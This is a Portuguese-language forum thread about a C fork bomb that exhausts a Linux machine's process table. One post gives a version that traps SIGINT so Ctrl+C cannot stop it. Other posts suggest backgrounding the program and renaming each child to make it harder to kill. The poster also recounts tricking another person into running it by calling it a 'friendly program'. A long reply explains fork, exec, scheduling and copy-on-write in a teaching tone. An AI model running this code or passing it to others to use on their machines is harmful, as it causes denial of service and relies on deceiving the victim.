Code que trava o linux parcialmente.

[storm_]

Esse é um de meus codes(que são poucos) que tenho certa convicção que é consideravelmente chato.
Ele trava seu linux para abertura de qualquer coisa, mas o resto você pode usar normalmente. A única forma de para-lo é usando SIGINT(dando ctrl + c no terminal de execução)

Está aí o code:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
        printf("...");

        for(;;)
        {
                fork();
        }

        return(0);
}

Ele é relativamente simples, mas consideravelmente irritante. Houve uma ajuda de um amigo a me dar a base para fazer esse code, sendo que ele me mostrou uma forma de deixar o linux louco.
Espero que gostem, até mais.

[mmachado]

Ele trava seu linux para abertura de qualquer coisa, mas o resto você pode usar normalmente.

Qual é o sentido de deixar a própria máquina sem recursos?

Em máquinas compartilhadas, a quantidade de processos que cada usuário pode abrir é limitada de forma que não atrapalhe muito os outros usuários. O mesmo vale para a quantidade de arquivos abertos.

Se for para sacanear alquém com esse programa, incremente ele de forma que ele se coloque em background e mude o processo de nome em cada fork. Vai ser um pouco mais chato de matar.

[]s, MM

[nelson]

Se for para sacanear alquém com esse programa, incremente ele de forma que ele se coloque em background e mude o processo de nome em cada fork. Vai ser um pouco mais chato de matar.

Porque? Bastaria matar o processo pai.

[storm_]

Qual é o sentido de deixar a própria máquina sem recursos?

Em máquinas compartilhadas, a quantidade de processos que cada usuário pode abrir é limitada de forma que não atrapalhe muito os outros usuários. O mesmo vale para a quantidade de arquivos abertos.

Se for para sacanear alquém com esse programa, incremente ele de forma que ele se coloque em background e mude o processo de nome em cada fork. Vai ser um pouco mais chato de matar.

[]s, MM

Mas e executar em máquinas alheias? Hahaha, seria legal, eu já pedi para um cara testar, falei que era um programa amistoso, ele voltou 15 minutos depois xingando-me de diversas formas. Quanto a colocar mais recursos, verei depois, pois ainda não sou nenhum guru em C.
Até mais.

[Birkoff]

MM... eu acho extremamente inútil como forma de ataque hehehe...

Mas eu lembro que uma vez eu precisava simular uma situação de alta carga de processador... E um programinha tipo esse me foi extremamente útil. ;) (Pronto, salvei o tópico :P)

[Guzpido Krush]

hueuaeuahuaheuaheuheuahuheuahuhuehuehauehauheuaheu heuaheuaheuhauehauehauehuaheu
aheuaheuaheuahuehauehauheuaheuaheuhauehauehuaheuah euahuehaueuaheuaheuahuehauehauehuaheuaheuahuehaue

edit:

aeaehaueahuehauehauheuaheuaheuaheuhae

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
        printf("...");

        for(;;)
        {
                printf("uahuhehuaehuehuaehuaehuah");
        }

        return(0);
}

=D

edit: notem que estou gastando recursos a mais tbm! estou usando 2 bibliotecas inuteis pro programa.

[storm_]

Ele com o loop infinito deixa o sistema com muito processamento sendo "queimado", mas o fork() que gera a bagunça toda, pois ele gera vários e vários processos filhos, que geram mais processos filhos...
Então chega uma hora em que o linux não abre mais nada, respondendo algo como:
fork: serviço temporariamente ocupado.

Aqui o code original do morte:

/* Sick Boy 0.1, por Morte137 */
/* 2006, Brasil */

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

void sigint();

int main()
{
        signal(SIGINT, sigint);
        fprintf(stderr, "Eu sou um garoto doente =D\n");

        while(1)
        {
                fork();
        }

        return(0);
}

void sigint()
{
        signal(SIGINT, sigint);
        fprintf(stderr, "Otário, eu num morro assim não =D\n");

*Mais completo, eficaz e não morre tão fácil.

[Guzpido Krush]

Por trás dessas quatro letras, "fork", jaz mais ou menos 13 etapas, e muitos conceitos. Nós vamos conseguir.
Não fiz "hauehuaheau" la em cima 'a toa, bem.. bora então....

Antes de tudo é preciso realmente entender processos.

Processo é uma abstração fundamental para se dividir o tempo de uso da CPU. Apenas um processo vai usar cada CPU por vez, ponto final.
Com exceção do swapper e do pagedaemon, existe uma hierarquia de processos-pai e filhos sendo o init o processo que está no topo desta lista. Sempre terá PID número 1. Os outros dois mencionados são erguidos no boot, não dependem de init.

A processos se atribuem estados. Eventos são o que causam as transições de estados. (STATE TRANSITION)

Resumidamente(versão lite, nao recomendada p diabeticos): {
A fork serve para criar um novo processo, que começa vida idle.
Quando se termina de criar o processo, fork alterará o estado para ready-to-run, quando então o processo aguarda ser agendado. O kernel uma hora o selecionará para executar, iniciando a mudança de contexto do programa. É preciso colocar nos registradores do processador, o contexto de hardware em que o processo vai trabalhar. A partir daí, saiu do forno o processo com programa rodando prontinho. }


A chamada de sistema fork cria um novo processo que é praticamente idêntico ao processo que origina a chamada. Quando fork retornar, as regiões de pilha e dados de ambos processo-pai e processo-filho são idênticas, pai e filho portando o mesmo programa. Ecste programa ecsiste.

Só se passará então 'a proxima linha de instrução do código após o fork depois de feito:

(1) Reservar espaço SWAP para os dados e a pilha do novo processo.
(2) Alocar novo PID e estrutura proc para o processo-filho.
(3) Inicializar a estrutura proc:
(USER ID, GROUP ID, PROCESS GROUP, e máscaras de sinais) -> que são copiados do pai.
(uso de CPU, coisas desse tipo) -> são setados para zero.
(um ponteiro para a estrutura proc do pai, o PID, e o PID do processo-pai)-> são todos inicializados para valores específicos do processo-filho.

(4) Aloca-se um mapa de tradução de endereços para o filho.
(5) Aloca-se a área u do filho, em seguida copiando a do pai.

(6) Atualiza-se a área u para referir aos novos mapas de endereços e espaço swap.

(7) Ecxiste então o filho dentro do conjunto de processos que dividem a região de texto do programa que o pai está executando, a área da memória em que está o código executável em formato XM8*, YM8*, ZM8*....

(8) Duplica-se as regiões de dados e pilha (stack). Uma página de cada vez, atualizando-se o mapa de endereços para referir para essas novas páginas.

(9) Adquirir referências para os recursos compartilhados herdados pelo filho, como por exemplo: ponteiros de arquivos abertos, e diretório de trabalho (que seria a saída do comando pwd, não que ele execute pwd, duh.)

(10) Inicicializa-se o contexto de hardware: copiando-se um snapshot do estado dos registradores do processo-pai.

(11) Depois é preciso tornar o processo-filho executável e alistá-lo em uma fila de um agendador. (scheduler queue).

Tradicionalmente utiliza-se o agendamento preemptivo, obtendo-se assim, MULTITAREFA PREEMPTIVA
O scheduler consome ciclos de CPU. Scheduler é software, é um programa.

Agendamentos são necessários, para dividir os ciclos de cpu. Não existe multitarefa de verdade. Apenas um pedaço de código pode ser processado por vez. Isso em máquinas com apenas um processador.

Quando olhamos cada linha de código, as vemos em sequência. Pois imagine que uma interrupção de hardware possa precisar bloquear esta sequencia de código a qualquer momento. Atividade de periférico deflagra uma rotina especial de sistema operacional chamada ISR: Rotina de Serviço de Interrupção. Imediatamente o código do loop infinito de main() é interrompido, e assume o comando, o ISR. Processadores tem seus registradores, suas flags e apontadores de intruções. Para ir para a ISR, processadores salvam essas informações na RAM ou as vezes numa pilha. Tudo deve ser depois devolvido para o processador para se resumir execução. Pense: o processador tem que primeiro trabalhar por exemplo o Input/output do periférico e depois retornar a execução.

(block é uma palavra usada para várias coisas diferentes em UNIX e gera ambiguidade. Processos "bloqueiam em um recurso" ou "bloqueiam em um evento". O kernel "bloqueia em uma interrupção ou sinal" e Input/Output é feito em BLOCOS de tamnhos fixos.) .

Um algoritmo de bloqueio de recurso deve cumprir mais ou menos isso:
Fato: O PROCESSO QUER RECURSOS ->
{(a) Recurso Está liberado? }
{a=SIM-}> {TRANQUE O RECURSO, USE RECURSO, DESTRANQUE RECURSO} -> -->{Outro processo quer o recurso? (b)}, se se nao, resumir processamento.
{a=Não}-> {DURMA} -> {Espere ser acordado}, e retorne para (a)

Duas flags são associadas para cada objeto que se possa utilizar como recurso. Uma é a que marca que o objeto está protegido, locked, e a outra, que um processo o deseja, wanted.
Neste momento, verificara-se somente se " há desejo " em relação ao recurso, através dessa flag. Se ela estiver marcada, chama-se wakeup(), que acorda _ _todos_ _ os processos que chamaram sleep().

Portanto, se b=SIM, (alguem QUER O RECURSO), temos que ACORDAR os processos. Acordar não é rodar.

Um processo que foi dormir pode ir dormir por muito tempo. Pois ele precisa primeiro da chamada wakeup para acordá-lo. "Bloqueia-se em" um recurso ou evento. wakeup deve encontrar cada processo que está aguardando, mudar seu estado para "rodável" colocando-os numa fila para o agendador. O pulo do gato é: quando um processo acorda, ele pode ter que ir dormir novamente, pois outros processos podem rodar enquanto isso (estão na frente da fila do agendador) e podem travar inclusive, o mesmo recurso novamente.

É sleep quem coloca os processos em uma fila de processos especiais, de processos blockeados, com o estado "asleep". Sleep chama swtch(), que iniciará uma mudança de contexto permitindo que outro processo rode.

A função do agendador é dividir o TEMPO.
Processos recebem prioridades, e quando elas são iguais, cada um roda em uma quantidade fixa de tempo. Em geral, 100ms. Mas quando um processo de maior prioridade se torna rodável, ele pode inclusive interromper essa quantia de tempo definida para o processo de menor prioridade.
O kernel pode ir incrementando dinamicamente o valor da prioridade de cada processo, em função de tempo de CPU que ele usou ou não usou. Isso se chama Usage Factor. Nice factor e usage factor determinam portanto as prioridades de processos.

Pergunta: Dá pra estabelecer prioridades para PROGRAMAS então?
( )Sim!! ( )Não!!!!!!! (x) o Guzpido acha que não, mas ele pode estar errado.

A chamada de sistema nice é a interface para o usuário influenciar a prioridade de um processo. Acho que só o superusuario pode mexer com isso.

Continuando agora a fork.
Lembrando que paramos no agendamento do processo. Ele agora está lá, feliz, encaminhado para rodar.

(Passo 12) Faça de tudo para o processo-filho retornar de fork com um valor de zero.
(passo 13) Retorne o PID do filho para o pai.

Retornam-se valores diferentes pois ambos pai e filho imediatamente estarão executando exato o mesmo programa no momento que retornam de fork, e eles precisam de uma referencia de distinção entre si.

Diversos processos estão ativos em um sistema ao mesmo tempo, mas não rodando. Cada processo roda um único programa por vez, apesar de que diversos processos podem rodar o mesmo programa. Eles dividem um única cópia do texto, do código executável em memória, mantendo regiões separadas de dados e pilha.

Um processo pode também MUDAR DE PROGRAMA que está rodando, invocando outros durante sua vida.

Uma vez estabelecida esta abstração, podemos controlar isso com chamadas de sistema que terminam, criam e invocam novos programas. Enquanto fork serve para criar novos processos, exec invoca novos programas e coloca eles num processo.

Que aprendemos com isso? Que *NIXES distinguem duramente, os PROGRAMAS QUE ESTÁ RODANDO, e os processos que os rodam.

Fork deve entregar para o processo filho uma cópia-lógica distinta do espaço de endereços de memória do pai.

exec coloca um novo _programa_ no _processo_ já existente, se bem sucedido, o espaço de endereços do filho é substituidos pelo novo programa com o contador setado para a primeira instrução do programa. Uhu! =D

Pq as funções são separadas? Por modularidade.

Separam-se em duas funções, para por exemplo, podermos forkar diversos processos rodando o mesmo programa, no caso de aplicações cliente -servidor por exemplo. Ou então um processo quer apenas chamar um novo programa, mas não quer criar um novo processo.

Entre uma função e outra podemos: Redirecionar falhas e I/O, Fechar arquivos, Mudar a UID ou GID, resetar tratadores de sinais.

Uma única função de sistema não faria esta função eficientemente. fork-exec é flexível e modular.


A esta altura fizemos o prometido: criamos um novo processo que é praticamente idêntico ao processo que origina a chamada. =D

É o exec quem substitui o espaço de endereço de um processo com um novo, portanto, invocando um novo PROGRAMA.

Não sei se percebem, mas o VÔO do gato é poder proteger os dados da escrita caótica e conseguir velocidade ao mesmo tempo. Duas crianças usando a mesma folha não vão conseguir fazer um bom trabalho em grupo, se todos escreverem ao mesmo tempo. Ainda mais quando só se tem uma caneta. E uma criança não pode escrever por cima do q a outra escreveu...

fork() e vfork() ?
fork era custoso em velhos sistemas UNIX. Custa pq a cópia de paginas do processo-pai custa. Em System V decidiu-se resolver isso fazendo com que o processo-filho dividisse as páginas de memória contendo pilha e dados do pai, marcando-a como somente leitura. O filho recebe sua própria cópia dos mapas de tradução de endereço,
mas se o pai ou filho tentam alterar uma página da memória,
ocorre então uma PAGE FAULT EXCEPTION.

Isso é conhecido como copy-on-write.

Dentro do kernel existem TRATAMENTOS DE EXCEÇÃO.
Chama-se então um page fault handler que copiará então, APENAS a página que seria modificada. Portanto, se copia em função apenas do que se vai escrever, e não tudo. copy-on-write ; D

BSD inventou a chamada vfork, para quando se espera efetuar uma exec logo na sequencia. Esta aproximação eh considerada menos segura pois ao processo-filho realmente se atribui o espaço de endereços do pai, podendo alterá-lo de fato. Um processo então estaria alterando o conteúdo do espaço de endereços, e pode até mesmo, alterar o próprio conjunto de endereços, não só seu conteúdo.

A maioria dos crackers não quer só quebrar o sistema, quer escrever também onde não pode. É justamente uma má implementação que mais tarde será explorada pelo cracker.

Lembrando que Se vfork for chamado, exec retorna o velho espaço de endereço para o pai poder utilizar seus dados novamente.
No caso de fork, exec libera o velho espaço de endereços e o carrega com o conteúdo do novo programa.
Quando exec retornar, o processo resume execução na primeira instrução do novo programa.

O espaço de endereços DE PROCESSO contém:
Texto, que é como se refere ao próprio código executavel do programa. É o "texto" que se escreve nas "páginas".
Dados inicializados: São os dados explicitamente inicializados pelo programa.
Dados-nao-inicializados: Ao invés de atribuir zero a cada variavel declarada mas nao inicializada pelo programa, o cabeçalho do programa vai marcar quantos destes tipos de dados devem ser inicializados, determinando o tamanho da região necessária, mas deixa para o sistema operacional fazer isso (encher de zeros).
Memória Compartilhada Processos podem dividir regiões de memória.
Bibliotecas Compartilhadas Com bibliotecas linkadas dinâmicamente, regiões separadas de memória contendo dados e código de bibliotecas que pode ser compartilhada por outros processos.
Heap: para memória poder ser alocada dinamicamente, com as chamadas de sistema brk e sbrk, ou pela tradicional do C, malloc(). É possivel extender a heap se necessário.
pilha do usuário Para cada processo há uma pilha alocada. Se ocorre um estouro de pilha, em geral UNIXes aumentam a pilha tratando essa exceção.

Tem gente que fala que BSD não suporta memória compartilhada, mas é mentira. Isso era há muito tempo atrás e nessa época eu não sabia nem piada de papagaio das mais light.

Nossa. CRIEI UM MONSTRO!!! Espero nao ter feito muita confusão.
Vou parar por aqui, mas eu deveria descrever o exec. Não vou descrever a função tão passo-a-passo, mas vou falar brevemente o que ela deveria fazer:

1-Acessa o executavel pelo pathname passado; 2- verifica se quem chama tem permissão de execução para o arquivo; 3-leia o cabeçalho do arquivo e veja se é um executável válido; 4- Se bits SUID ou SGID estão marcados, se seta a UID efetiva e GID para a do dono do arquivo; 5- Copia argumentos e variaveis de ambiente no espaço de kernel, pois esse espaço de usuário será destruído; 6- aloca espaço SWAP para as regiões de dados e pilha; 7- é hora de liberar o velho espaço de endereços e o espaço swap associado, no caso de fork, ou devolver ao pai, no caso de vfork; 8- Alocar novos _mapas_ de endereços para os novos textos, dados ( data) e pilha. ; 9- Define o novo espaço de endereço, inicializando o texto do programa. Se a região de texto já estiver ativa por outro processo que rode o mesmo programa, este processo vai dividir o programa com o outro. ; 10 - copiar os argumentos e variaveis de ambiente na nova pilha de usuário. ; 11- resetar sinais. sinais antes do exec ignorados ou bloqueados permanecem como tal. ; 12- inicializar o contexto de hardware. Registradores vão pra zero, e o contador do programa vai para o começo do programa.

=P

UYHJ7NM <- cabe&#231;a no teclado

PS: agradecimentos ao Andrew Tanenbaum que fez o Minix e Uresh VAHALIA

=D


XM8*: Eu conhe&#231;o os formatos a.out e elf, por exemplo.

and have a nice fork !

[juliocesarfort]

Cacete, fork bombing ainda funciona?
Acho que alguns kernels do Linux colocaram uma protecaozinha contra esse tipo de ataque DoS local (vi isso numa coluna na Security Focus no ano passado.)

[mmachado]

Porque? Bastaria matar o processo pai.

Claro, mas atrapalha. O objetivo não era esse? Captar o sigint também "ajuda a atrapalhar". Eu sei! Um reboot também resolve... :)